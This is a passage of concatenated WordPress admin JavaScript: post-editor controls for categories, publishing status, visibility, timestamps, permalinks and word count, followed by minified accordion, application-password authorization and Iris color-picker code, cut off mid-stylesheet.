			$('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide();
			$(t).show();
			if ( '#' + taxonomy + '-all' == t ) {
				deleteUserSetting( settingName );
			} else {
				setUserSetting( settingName, 'pop' );
			}
		});

		if ( getUserSetting( settingName ) )
			$('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').trigger( 'click' );

		// Add category button controls.
		$('#new' + taxonomy).one( 'focus', function() {
			$( this ).val( '' ).removeClass( 'form-input-tip' );
		});

		// On [Enter] submit the taxonomy.
		$('#new' + taxonomy).on( 'keypress', function(event){
			if( 13 === event.keyCode ) {
				event.preventDefault();
				$('#' + taxonomy + '-add-submit').trigger( 'click' );
			}
		});

		// After submitting a new taxonomy, re-focus the input field.
		$('#' + taxonomy + '-add-submit').on( 'click', function() {
			$('#new' + taxonomy).trigger( 'focus' );
		});

		/**
		 * Before adding a new taxonomy, disable submit button.
		 *
		 * @param {Object} s Taxonomy object which will be added.
		 *
		 * @return {Object}
		 */
		catAddBefore = function( s ) {
			if ( !$('#new'+taxonomy).val() ) {
				return false;
			}

			s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize();
			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true );
			return s;
		};

		/**
		 * Re-enable submit button after a taxonomy has been added.
		 *
		 * Re-enable submit button.
		 * If the taxonomy has a parent place the taxonomy underneath the parent.
		 *
		 * @param {Object} r Response.
		 * @param {Object} s Taxonomy data.
		 *
		 * @return {void}
		 */
		catAddAfter = function( r, s ) {
			var sup, drop = $('#new'+taxonomy+'_parent');

			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false );
			if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) {
				drop.before(sup);
				drop.remove();
			}
		};

		$('#' + taxonomy + 'checklist').wpList({
			alt: '',
			response: taxonomy + '-ajax-response',
			addBefore: catAddBefore,
			addAfter: catAddAfter
		});

		// Add new taxonomy button toggles input form visibility.
		$('#' + taxonomy + '-add-toggle').on( 'click', function( e ) {
			e.preventDefault();
			$('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' );
			$('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').trigger( 'click' );
			$('#new'+taxonomy).trigger( 'focus' );
		});

		// Sync checked items between "All {taxonomy}" and "Most used" lists.
		$('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on(
			'click',
			'li.popular-category > label input[type="checkbox"]',
			function() {
				var t = $(this), c = t.is(':checked'), id = t.val();
				if ( id && t.parents('#taxonomy-'+taxonomy).length )
					$('#in-' + taxonomy + '-' + id + ', #in-popular-' + taxonomy + '-' + id).prop( 'checked', c );
			}
		);

	}); // End cats.

	// Custom Fields postbox.
	if ( $('#postcustom').length ) {
		$( '#the-list' ).wpList( {
			/**
			 * Add current post_ID to request to fetch custom fields
			 *
			 * @ignore
			 *
			 * @param {Object} s Request object.
			 *
			 * @return {Object} Data modified with post_ID attached.
			 */
			addBefore: function( s ) {
				s.data += '&post_id=' + $('#post_ID').val();
				return s;
			},
			/**
			 * Show the listing of custom fields after fetching.
			 *
			 * @ignore
			 */
			addAfter: function() {
				$('table#list-table').show();
			}
		});
	}

	/*
	 * Publish Post box (#submitdiv)
	 */
	if ( $('#submitdiv').length ) {
		stamp = $('#timestamp').html();
		visibility = $('#post-visibility-display').html();

		/**
		 * When the visibility of a post changes sub-options should be shown or hidden.
		 *
		 * @ignore
		 *
		 * @return {void}
		 */
		updateVisibility = function() {
			// Show sticky for public posts.
			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
				$('#sticky').prop('checked', false);
				$('#sticky-span').hide();
			} else {
				$('#sticky-span').show();
			}

			// Show password input field for password protected post.
			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) {
				$('#password-span').hide();
			} else {
				$('#password-span').show();
			}
		};

		/**
		 * Make sure all labels represent the current settings.
		 *
		 * @ignore
		 *
		 * @return {boolean} False when an invalid timestamp has been selected, otherwise True.
		 */
		updateText = function() {

			if ( ! $timestampdiv.length )
				return true;

			var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'),
				optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(),
				mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val();

			attemptedDate = new Date( aa, mm - 1, jj, hh, mn );
			originalDate = new Date(
				$('#hidden_aa').val(),
				$('#hidden_mm').val() -1,
				$('#hidden_jj').val(),
				$('#hidden_hh').val(),
				$('#hidden_mn').val()
			);
			currentDate = new Date(
				$('#cur_aa').val(),
				$('#cur_mm').val() -1,
				$('#cur_jj').val(),
				$('#cur_hh').val(),
				$('#cur_mn').val()
			);

			// Catch unexpected date problems.
			if (
				attemptedDate.getFullYear() != aa ||
				(1 + attemptedDate.getMonth()) != mm ||
				attemptedDate.getDate() != jj ||
				attemptedDate.getMinutes() != mn
			) {
				$timestampdiv.find('.timestamp-wrap').addClass('form-invalid');
				return false;
			} else {
				$timestampdiv.find('.timestamp-wrap').removeClass('form-invalid');
			}

			// Determine what the publish should be depending on the date and post status.
			if ( attemptedDate > currentDate ) {
				publishOn = __( 'Schedule for:' );
				$('#publish').val( _x( 'Schedule', 'post action/button label' ) );
			} else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
				publishOn = __( 'Publish on:' );
				$('#publish').val( __( 'Publish' ) );
			} else {
				publishOn = __( 'Published on:' );
				$('#publish').val( __( 'Update' ) );
			}

			// If the date is the same, set it to trigger update events.
			if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) {
				// Re-set to the current value.
				$('#timestamp').html(stamp);
			} else {
				$('#timestamp').html(
					'\n' + publishOn + ' <b>' +
					// translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute.
					__( '%1$s %2$s, %3$s at %4$s:%5$s' )
						.replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
						.replace( '%2$s', parseInt( jj, 10 ) )
						.replace( '%3$s', aa )
						.replace( '%4$s', ( '00' + hh ).slice( -2 ) )
						.replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
						'</b> '
				);
			}

			// Add "privately published" to post status when applies.
			if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) {
				$('#publish').val( __( 'Update' ) );
				if ( 0 === optPublish.length ) {
					postStatus.append('<option value="publish">' + __( 'Privately Published' ) + '</option>');
				} else {
					optPublish.html( __( 'Privately Published' ) );
				}
				$('option[value="publish"]', postStatus).prop('selected', true);
				$('#misc-publishing-actions .edit-post-status').hide();
			} else {
				if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
					if ( optPublish.length ) {
						optPublish.remove();
						postStatus.val($('#hidden_post_status').val());
					}
				} else {
					optPublish.html( __( 'Published' ) );
				}
				if ( postStatus.is(':hidden') )
					$('#misc-publishing-actions .edit-post-status').show();
			}

			// Update "Status:" to currently selected status.
			$('#post-status-display').text(
				// Remove any potential tags from post status text.
				wp.sanitize.stripTagsAndEncodeText( $('option:selected', postStatus).text() )
			);

			// Show or hide the "Save Draft" button.
			if (
				$('option:selected', postStatus).val() == 'private' ||
				$('option:selected', postStatus).val() == 'publish'
			) {
				$('#save-post').hide();
			} else {
				$('#save-post').show();
				if ( $('option:selected', postStatus).val() == 'pending' ) {
					$('#save-post').show().val( __( 'Save as Pending' ) );
				} else {
					$('#save-post').show().val( __( 'Save Draft' ) );
				}
			}
			return true;
		};

		// Show the visibility options and hide the toggle button when opened.
		$( '#visibility .edit-visibility').on( 'click', function( e ) {
			e.preventDefault();
			if ( $postVisibilitySelect.is(':hidden') ) {
				updateVisibility();
				$postVisibilitySelect.slideDown( 'fast', function() {
					$postVisibilitySelect.find( 'input[type="radio"]' ).first().trigger( 'focus' );
				} );
				$(this).hide();
			}
		});

		// Cancel visibility selection area and hide it from view.
		$postVisibilitySelect.find('.cancel-post-visibility').on( 'click', function( event ) {
			$postVisibilitySelect.slideUp('fast');
			$('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true);
			$('#post_password').val($('#hidden-post-password').val());
			$('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked'));
			$('#post-visibility-display').html(visibility);
			$('#visibility .edit-visibility').show().trigger( 'focus' );
			updateText();
			event.preventDefault();
		});

		// Set the selected visibility as current.
		$postVisibilitySelect.find('.save-post-visibility').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels.
			var visibilityLabel = '', selectedVisibility = $postVisibilitySelect.find('input:radio:checked').val();

			$postVisibilitySelect.slideUp('fast');
			$('#visibility .edit-visibility').show().trigger( 'focus' );
			updateText();

			if ( 'public' !== selectedVisibility ) {
				$('#sticky').prop('checked', false);
			}

			switch ( selectedVisibility ) {
				case 'public':
					visibilityLabel = $( '#sticky' ).prop( 'checked' ) ? __( 'Public, Sticky' ) : __( 'Public' );
					break;
				case 'private':
					visibilityLabel = __( 'Private' );
					break;
				case 'password':
					visibilityLabel = __( 'Password Protected' );
					break;
			}

			$('#post-visibility-display').text( visibilityLabel );
			event.preventDefault();
		});

		// When the selection changes, update labels.
		$postVisibilitySelect.find('input:radio').on( 'change', function() {
			updateVisibility();
		});

		// Edit publish time click.
		$timestampdiv.siblings('a.edit-timestamp').on( 'click', function( event ) {
			if ( $timestampdiv.is( ':hidden' ) ) {
				$timestampdiv.slideDown( 'fast', function() {
					$( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().trigger( 'focus' );
				} );
				$(this).hide();
			}
			event.preventDefault();
		});

		// Cancel editing the publish time and hide the settings.
		$timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) {
			$timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().trigger( 'focus' );
			$('#mm').val($('#hidden_mm').val());
			$('#jj').val($('#hidden_jj').val());
			$('#aa').val($('#hidden_aa').val());
			$('#hh').val($('#hidden_hh').val());
			$('#mn').val($('#hidden_mn').val());
			updateText();
			event.preventDefault();
		});

		// Save the changed timestamp.
		$timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels.
			if ( updateText() ) {
				$timestampdiv.slideUp('fast');
				$timestampdiv.siblings('a.edit-timestamp').show().trigger( 'focus' );
			}
			event.preventDefault();
		});

		// Cancel submit when an invalid timestamp has been selected.
		$('#post').on( 'submit', function( event ) {
			if ( ! updateText() ) {
				event.preventDefault();
				$timestampdiv.show();

				if ( wp.autosave ) {
					wp.autosave.enableButtons();
				}

				$( '#publishing-action .spinner' ).removeClass( 'is-active' );
			}
		});

		// Post Status edit click.
		$postStatusSelect.siblings('a.edit-post-status').on( 'click', function( event ) {
			if ( $postStatusSelect.is( ':hidden' ) ) {
				$postStatusSelect.slideDown( 'fast', function() {
					$postStatusSelect.find('select').trigger( 'focus' );
				} );
				$(this).hide();
			}
			event.preventDefault();
		});

		// Save the Post Status changes and hide the options.
		$postStatusSelect.find('.save-post-status').on( 'click', function( event ) {
			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
			updateText();
			event.preventDefault();
		});

		// Cancel Post Status editing and hide the options.
		$postStatusSelect.find('.cancel-post-status').on( 'click', function( event ) {
			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
			$('#post_status').val( $('#hidden_post_status').val() );
			updateText();
			event.preventDefault();
		});
	}

	/**
	 * Handle the editing of the post_name. Create the required HTML elements and
	 * update the changes via Ajax.
	 *
	 * @global
	 *
	 * @return {void}
	 */
	function editPermalink() {
		var i, slug_value, slug_label,
			$el, revert_e,
			c = 0,
			real_slug = $('#post_name'),
			revert_slug = real_slug.val(),
			permalink = $( '#sample-permalink' ),
			permalinkOrig = permalink.html(),
			permalinkInner = $( '#sample-permalink a' ).html(),
			buttons = $('#edit-slug-buttons'),
			buttonsOrig = buttons.html(),
			full = $('#editable-post-name-full');

		// Deal with Twemoji in the post-name.
		full.find( 'img' ).replaceWith( function() { return this.alt; } );
		full = full.html();

		permalink.html( permalinkInner );

		// Save current content to revert to when cancelling.
		$el = $( '#editable-post-name' );
		revert_e = $el.html();

		buttons.html(
			'<button type="button" class="save button button-small">' + __( 'OK' ) + '</button> ' +
			'<button type="button" class="cancel button-link">' + __( 'Cancel' ) + '</button>'
		);

		// Save permalink changes.
		buttons.children( '.save' ).on( 'click', function() {
			var new_slug = $el.children( 'input' ).val();

			if ( new_slug == $('#editable-post-name-full').text() ) {
				buttons.children('.cancel').trigger( 'click' );
				return;
			}

			$.post(
				ajaxurl,
				{
					action: 'sample-permalink',
					post_id: postId,
					new_slug: new_slug,
					new_title: $('#title').val(),
					samplepermalinknonce: $('#samplepermalinknonce').val()
				},
				function(data) {
					var box = $('#edit-slug-box');
					box.html(data);
					if (box.hasClass('hidden')) {
						box.fadeIn('fast', function () {
							box.removeClass('hidden');
						});
					}

					buttons.html(buttonsOrig);
					permalink.html(permalinkOrig);
					real_slug.val(new_slug);
					$( '.edit-slug' ).trigger( 'focus' );
					wp.a11y.speak( __( 'Permalink saved' ) );
				}
			);
		});

		// Cancel editing of permalink.
		buttons.children( '.cancel' ).on( 'click', function() {
			$('#view-post-btn').show();
			$el.html(revert_e);
			buttons.html(buttonsOrig);
			permalink.html(permalinkOrig);
			real_slug.val(revert_slug);
			$( '.edit-slug' ).trigger( 'focus' );
		});

		// If more than 1/4th of 'full' is '%', make it empty.
		for ( i = 0; i < full.length; ++i ) {
			if ( '%' == full.charAt(i) )
				c++;
		}
		slug_value = ( c > full.length / 4 ) ? '' : full;
		slug_label = __( 'URL Slug' );

		$el.html(
			'<label for="new-post-slug" class="screen-reader-text">' + slug_label + '</label>' +
			'<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" spellcheck="false" />'
		).children( 'input' ).on( 'keydown', function( e ) {
			var key = e.which;
			// On [Enter], just save the new slug, don't save the post.
			if ( 13 === key ) {
				e.preventDefault();
				buttons.children( '.save' ).trigger( 'click' );
			}
			// On [Esc] cancel the editing.
			if ( 27 === key ) {
				buttons.children( '.cancel' ).trigger( 'click' );
			}
		} ).on( 'keyup', function() {
			real_slug.val( this.value );
		}).trigger( 'focus' );
	}

	$( '#titlediv' ).on( 'click', '.edit-slug', function() {
		editPermalink();
	});

	/**
	 * Adds screen reader text to the title label when needed.
	 *
	 * Use the 'screen-reader-text' class to emulate a placeholder attribute
	 * and hide the label when entering a value.
	 *
	 * @param {string} id Optional. HTML ID to add the screen reader helper text to.
	 *
	 * @global
	 *
	 * @return {void}
	 */
	window.wptitlehint = function( id ) {
		id = id || 'title';

		var title = $( '#' + id ), titleprompt = $( '#' + id + '-prompt-text' );

		if ( '' === title.val() ) {
			titleprompt.removeClass( 'screen-reader-text' );
		}

		title.on( 'input', function() {
			if ( '' === this.value ) {
				titleprompt.removeClass( 'screen-reader-text' );
				return;
			}

			titleprompt.addClass( 'screen-reader-text' );
		} );
	};

	wptitlehint();

	// Resize the WYSIWYG and plain text editors.
	( function() {
		var editor, offset, mce,
			$handle = $('#post-status-info'),
			$postdivrich = $('#postdivrich');

		// If there are no textareas or we are on a touch device, we can't do anything.
		if ( ! $textarea.length || 'ontouchstart' in window ) {
			// Hide the resize handle.
			$('#content-resize-handle').hide();
			return;
		}

		/**
		 * Handle drag event.
		 *
		 * @param {Object} event Event containing details about the drag.
		 */
		function dragging( event ) {
			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
				return;
			}

			if ( mce ) {
				editor.theme.resizeTo( null, offset + event.pageY );
			} else {
				$textarea.height( Math.max( 50, offset + event.pageY ) );
			}

			event.preventDefault();
		}

		/**
		 * When the dragging stopped make sure we return focus and do a confidence check on the height.
		 */
		function endDrag() {
			var height, toolbarHeight;

			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
				return;
			}

			if ( mce ) {
				editor.focus();
				toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 );

				if ( toolbarHeight < 10 || toolbarHeight > 200 ) {
					toolbarHeight = 30;
				}

				height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28;
			} else {
				$textarea.trigger( 'focus' );
				height = parseInt( $textarea.css('height'), 10 );
			}

			$document.off( '.wp-editor-resize' );

			// Confidence check: normalize height to stay within acceptable ranges.
			if ( height && height > 50 && height < 5000 ) {
				setUserSetting( 'ed_size', height );
			}
		}

		$handle.on( 'mousedown.wp-editor-resize', function( event ) {
			if ( typeof tinymce !== 'undefined' ) {
				editor = tinymce.get('content');
			}

			if ( editor && ! editor.isHidden() ) {
				mce = true;
				offset = $('#content_ifr').height() - event.pageY;
			} else {
				mce = false;
				offset = $textarea.height() - event.pageY;
				$textarea.trigger( 'blur' );
			}

			$document.on( 'mousemove.wp-editor-resize', dragging )
				.on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag );

			event.preventDefault();
		}).on( 'mouseup.wp-editor-resize', endDrag );
	})();

	// TinyMCE specific handling of Post Format changes to reflect in the editor.
	if ( typeof tinymce !== 'undefined' ) {
		// When changing post formats, change the editor body class.
		$( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() {
			var editor, body, format = this.id;

			if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) {
				body = editor.getBody();
				body.className = body.className.replace( /\bpost-format-[^ ]+/, '' );
				editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format );
				$( document ).trigger( 'editor-classchange' );
			}
		});

		// When changing page template, change the editor body class.
		$( '#page_template' ).on( 'change.set-editor-class', function() {
			var editor, body, pageTemplate = $( this ).val() || '';

			pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length )
				.replace( /\.php$/, '' )
				.replace( /\./g, '-' );

			if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) {
				body = editor.getBody();
				body.className = body.className.replace( /\bpage-template-[^ ]+/, '' );
				editor.dom.addClass( body, 'page-template-' + pageTemplate );
				$( document ).trigger( 'editor-classchange' );
			}
		});

	}

	// Save on pressing [Ctrl]/[Command] + [S] in the Text editor.
	$textarea.on( 'keydown.wp-autosave', function( event ) {
		// Key [S] has code 83.
		if ( event.which === 83 ) {
			if (
				event.shiftKey ||
				event.altKey ||
				( isMac && ( ! event.metaKey || event.ctrlKey ) ) ||
				( ! isMac && ! event.ctrlKey )
			) {
				return;
			}

			wp.autosave && wp.autosave.server.triggerSave();
			event.preventDefault();
		}
	});

	// If the last status was auto-draft and the save is triggered, edit the current URL.
	if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) {
		var location;

		$( '#publish' ).on( 'click', function() {
			location = window.location.href;
			location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?';
			location += 'wp-post-new-reload=true';

			window.history.replaceState( null, null, location );
		});
	}

	/**
	 * Copies the attachment URL in the Edit Media page to the clipboard.
	 *
	 * @since 5.5.0
	 *
	 * @param {MouseEvent} event A click event.
	 *
	 * @return {void}
	 */
	copyAttachmentURLClipboard.on( 'success', function( event ) {
		var triggerElement = $( event.trigger ),
			successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );

		// Clear the selection and move focus back to the trigger.
		event.clearSelection();

		// Show success visual feedback.
		clearTimeout( copyAttachmentURLSuccessTimeout );
		successElement.removeClass( 'hidden' );

		// Hide success visual feedback after 3 seconds since last success.
		copyAttachmentURLSuccessTimeout = setTimeout( function() {
			successElement.addClass( 'hidden' );
		}, 3000 );

		// Handle success audible feedback.
		wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) );
	} );
} );

/**
 * TinyMCE word count display
 */
( function( $, counter ) {
	$( function() {
		var $content = $( '#content' ),
			$count = $( '#wp-word-count' ).find( '.word-count' ),
			prevCount = 0,
			contentEditor;

		/**
		 * Get the word count from TinyMCE and display it
		 */
		function update() {
			var text, count;

			if ( ! contentEditor || contentEditor.isHidden() ) {
				text = $content.val();
			} else {
				text = contentEditor.getContent( { format: 'raw' } );
			}

			count = counter.count( text );

			if ( count !== prevCount ) {
				$count.text( count );
			}

			prevCount = count;
		}

		/**
		 * Bind the word count update triggers.
		 *
		 * When a node change in the main TinyMCE editor has been triggered.
		 * When a key has been released in the plain text content editor.
		 */
		$( document ).on( 'tinymce-editor-init', function( event, editor ) {
			if ( editor.id !== 'content' ) {
				return;
			}

			contentEditor = editor;

			editor.on( 'nodechange keyup', _.debounce( update, 1000 ) );
		} );

		$content.on( 'input keyup', _.debounce( update, 1000 ) );

		update();
	} );

} )( jQuery, new wp.utils.WordCounter() );
/*! This file is auto-generated */
!function(s){s(function(){s(".accordion-container").on("click keydown",".accordion-section-title",function(e){var n,o,a,i,t;"keydown"===e.type&&13!==e.which||(e.preventDefault(),e=(e=s(this)).closest(".accordion-section"),n=e.find("[aria-expanded]").first(),o=e.closest(".accordion-container"),a=o.find(".open"),i=a.find("[aria-expanded]").first(),t=e.find(".accordion-section-content"),e.hasClass("cannot-expand"))||(o.addClass("opening"),e.hasClass("open")?(e.toggleClass("open"),t.toggle(!0).slideToggle(150)):(i.attr("aria-expanded","false"),a.removeClass("open"),a.find(".accordion-section-content").show().slideUp(150),t.toggle(!1).slideToggle(150),e.toggleClass("open")),setTimeout(function(){o.removeClass("opening")},150),n&&n.attr("aria-expanded",String("false"===n.attr("aria-expanded"))))})})}(jQuery);/*! This file is auto-generated */
!function(t,s){var p=t("#app_name"),r=t("#approve"),e=t("#reject"),n=p.closest("form"),i={userLogin:s.user_login,successUrl:s.success,rejectUrl:s.reject};r.on("click",function(e){var a=p.val(),o=t('input[name="app_id"]',n).val();e.preventDefault(),r.prop("aria-disabled")||(0===a.length?p.trigger("focus"):(r.prop("aria-disabled",!0).addClass("disabled"),e={name:a},0<o.length&&(e.app_id=o),e=wp.hooks.applyFilters("wp_application_passwords_approve_app_request",e,i),wp.apiRequest({path:"/wp/v2/users/me/application-passwords?_locale=user",method:"POST",data:e}).done(function(e,a,o){wp.hooks.doAction("wp_application_passwords_approve_app_request_success",e,a,o);var a=s.success;a?(o=a+(-1===a.indexOf("?")?"?":"&")+"site_url="+encodeURIComponent(s.site_url)+"&user_login="+encodeURIComponent(s.user_login)+"&password="+encodeURIComponent(e.password),window.location=o):(a=wp.i18n.sprintf('<label for="new-application-password-value">'+wp.i18n.__("Your new password for %s is:")+"</label>","<strong></strong>")+' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />',o=t("<div></div>").attr("role","alert").attr("tabindex",-1).addClass("notice notice-success notice-alt").append(t("<p></p>").addClass("application-password-display").html(a)).append("<p>"+wp.i18n.__("Be sure to save this in a safe location. You will not be able to retrieve it.")+"</p>"),t("strong",o).text(e.name),t("input",o).val(e.password),n.replaceWith(o),o.trigger("focus"))}).fail(function(e,a,o){var s=o,p=null,s=(e.responseJSON&&(p=e.responseJSON).message&&(s=p.message),t("<div></div>").attr("role","alert").addClass("notice notice-error").append(t("<p></p>").text(s)));t("h1").after(s),r.removeProp("aria-disabled",!1).removeClass("disabled"),wp.hooks.doAction("wp_application_passwords_approve_app_request_error",p,a,o,e)})))}),e.on("click",function(e){e.preventDefault(),wp.hooks.doAction("wp_application_passwords_reject_app",i),window.location=s.reject}),n.on("submit",function(e){e.preventDefault()})}(jQuery,authApp);/*! This file is auto-generated */
/*! Iris Color Picker - v1.1.1 - 2021-10-05
* https://github.com/Automattic/Iris
* Copyright (c) 2021 Matt Wiebe; Licensed GPLv2 */
!function(a,b){function c(){var b,c,d="backgroundImage";j?k="filter":(b=a('<div id="iris-gradtest" />'),c="linear-gradient(top,#fff,#000)",a.each(l,function(a,e){if(b.css(d,e+c),b.css(d).match("gradient"))return k=a,!1}),!1===k&&(b.css("background","-webkit-gradient(linear,0% 0%,0% 100%,from(#fff),to(#000))"),b.css(d).match("gradient")&&(k="webkit")),b.remove())}function d(a,b){return a="top"===a?"top":"left",b=Array.isArray(b)?b:Array.prototype.slice.call(arguments,1),"webkit"===k?f(a,b):l[k]+"linear-gradient("+a+", "+b.join(", ")+")"}function e(b,c){var d,e,f,h,i,j,k,l,m;b="top"===b?"top":"left",c=Array.isArray(c)?c:Array.prototype.slice.call(arguments,1),d="top"===b?0:1,e=a(this),f=c.length-1,h="filter",i=1===d?"left":"top",j=1===d?"right":"bottom",k=1===d?"height":"width",l='<div class="iris-ie-gradient-shim" style="position:absolute;'+k+":100%;"+i+":%start%;"+j+":%end%;"+h+':%filter%;" data-color:"%color%"></div>',m="","static"===e.css("position")&&e.css({position:"relative"}),c=g(c),a.each(c,function(a,b){var e,g,h;if(a===f)return!1;e=c[a+1],b.stop!==e.stop&&(g=100-parseFloat(e.stop)+"%",b.octoHex=new Color(b.color).toIEOctoHex(),e.octoHex=new Color(e.color).toIEOctoHex(),h="progid:DXImageTransform.Microsoft.Gradient(GradientType="+d+", StartColorStr='"+b.octoHex+"', EndColorStr='"+e.octoHex+"')",m+=l.replace("%start%",b.stop).replace("%end%",g).replace("%filter%",h))}),e.find(".iris-ie-gradient-shim").remove(),a(m).prependTo(e)}function f(b,c){var d=[];return b="top"===b?"0% 0%,0% 100%,":"0% 100%,100% 100%,",c=g(c),a.each(c,function(a,b){d.push("color-stop("+parseFloat(b.stop)/100+", "+b.color+")")}),"-webkit-gradient(linear,"+b+d.join(",")+")"}function g(b){var c=[],d=[],e=[],f=b.length-1;return a.each(b,function(a,b){var e=b,f=!1,g=b.match(/1?[0-9]{1,2}%$/);g&&(e=b.replace(/\s?1?[0-9]{1,2}%$/,""),f=g.shift()),c.push(e),d.push(f)}),!1===d[0]&&(d[0]="0%"),!1===d[f]&&(d[f]="100%"),d=h(d),a.each(d,function(a){e[a]={color:c[a],stop:d[a]}}),e}function h(b){var c,d,e,f,g=0,i=b.length-1,j=0,k=!1;if(b.length<=2||a.inArray(!1,b)<0)return b;for(;j<b.length-1;)k||!1!==b[j]?k&&!1!==b[j]&&(i=j,j=b.length):(g=j-1,k=!0),j++;for(d=i-g,f=parseInt(b[g].replace("%"),10),c=(parseFloat(b[i].replace("%"))-f)/d,j=g+1,e=1;j<i;)b[j]=f+e*c+"%",e++,j++;return h(b)}var i,j,k,l,m,n,o,p,q;if(i='<div class="iris-picker"><div class="iris-picker-inner"><div class="iris-square"><a class="iris-square-value" href="#"><span class="iris-square-handle ui-slider-handle"></span></a><div class="iris-square-inner iris-square-horiz"></div><div class="iris-square-inner iris-square-vert"></div></div><div class="iris-slider iris-strip"><div class="iris-slider-offset"></div></div></div></div>',m='.iris-picker{display:block;position:relative}.iris-picker,.iris-picker *{-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input+.iris-picker{margin-top:4px}.iris-error{background-color:#ffafaf}.iris-border{border-radius:3px;border:1px solid #aaa;width:200px;background-color:#fff}.iris-picker-inner{position:absolute;top:0;right:0;left:0;bottom:0}.iris-border .iris-picker-inner{top:10px;right:10px;left:10px;bottom:10px}.iris-picker .iris-square-inner{position:absolute;left:0;right:0;top:0;bottom:0}.iris-picker .iris-square,.iris-picker .iris-slider,.iris-picker .iris-square-inner,.iris-picker .iris-palette{border-radius:3px;box-shadow:inset 0 0 5px rgba(0,0,0,.4);height:100%;width:12.5%;float:left;margin-right:5%}.iris-only-strip .iris-slider{width:100%}.iris-picker .iris-square{width:76%;margin-right:10%;position:relative}.iris-only-strip .iris-square{display:none}.iris-picker .iris-square-inner{width:auto;margin:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-square-inner,.iris-ie-9 .iris-palette{box-shadow:none;border-radius:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-palette{outline:1px solid rgba(0,0,0,.1)}.iris-ie-lt9 .iris-square,.iris-ie-lt9 .iris-slider,.iris-ie-lt9 .iris-square-inner,.iris-ie-lt9 .iris-palette{outline:1px solid #aaa}.iris-ie-lt9 .iris-square .ui-slider-handle{outline:1px solid #aaa;background-color:#fff;-ms-filter:"alpha(Opacity=30)"}.iris-ie-lt9 .iris-square .iris-square-handle{background:0 0;border:3px solid #fff;-ms-filter:"alpha(Opacity=50)"}.iris-picker .iris-strip{margin-right:0;position:relative}.iris-picker .iris-strip .ui-slider-handle{position:absolute;background:0 0;margin:0;right:-3px;left:-3px;border:4px solid #aaa;border-width:4px 3px;width:auto;height:6px;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,.2);opacity:.9;z-index:5;cursor:ns-resize}.iris-strip-horiz .iris-strip .ui-slider-handle{right:auto;left:auto;bottom:-3px;top:-3px;height:auto;width:6px;cursor:ew-resize}.iris-strip .ui-slider-handle:before{content:" ";position:absolute;left:-2px;right:-2px;top:-3px;bottom:-3px;border:2px solid #fff;border-radius:3px}.iris-picker .iris-slider-offset{position:absolute;top:11px;left:0;right:0;bottom:-3px;width:auto;height:auto;background:transparent;border:0;border-radius:0}.iris-strip-horiz .iris-slider-offset{top:0;bottom:0;right:11px;left:-3px}.iris-picker .iris-square-handle{background:transparent;border:5px solid #aaa;border-radius:50%;border-color:rgba(128,128,128,.5);box-shadow:none;width:12px;height:12px;position:absolute;left:-10px;top:-10px;cursor:move;opacity:1;z-index:10}.iris-picker .ui-state-focus .iris-square-handle{opacity:.8}.iris-picker .iris-square-handle:hover{border-color:#999}.iris-picker .iris-square-value:focus .iris-square-handle{box-shadow:0 0 2px rgba(0,0,0,.75);opacity:.8}.iris-picker .iris-square-handle:hover::after{border-color:#fff}.iris-picker .iris-square-handle::after{position:absolute;bottom:-4px;right:-4px;left:-4px;top:-4px;border:3px solid #f9f9f9;border-color:rgba(255,255,255,.8);border-radius:50%;content:" "}.iris-picker 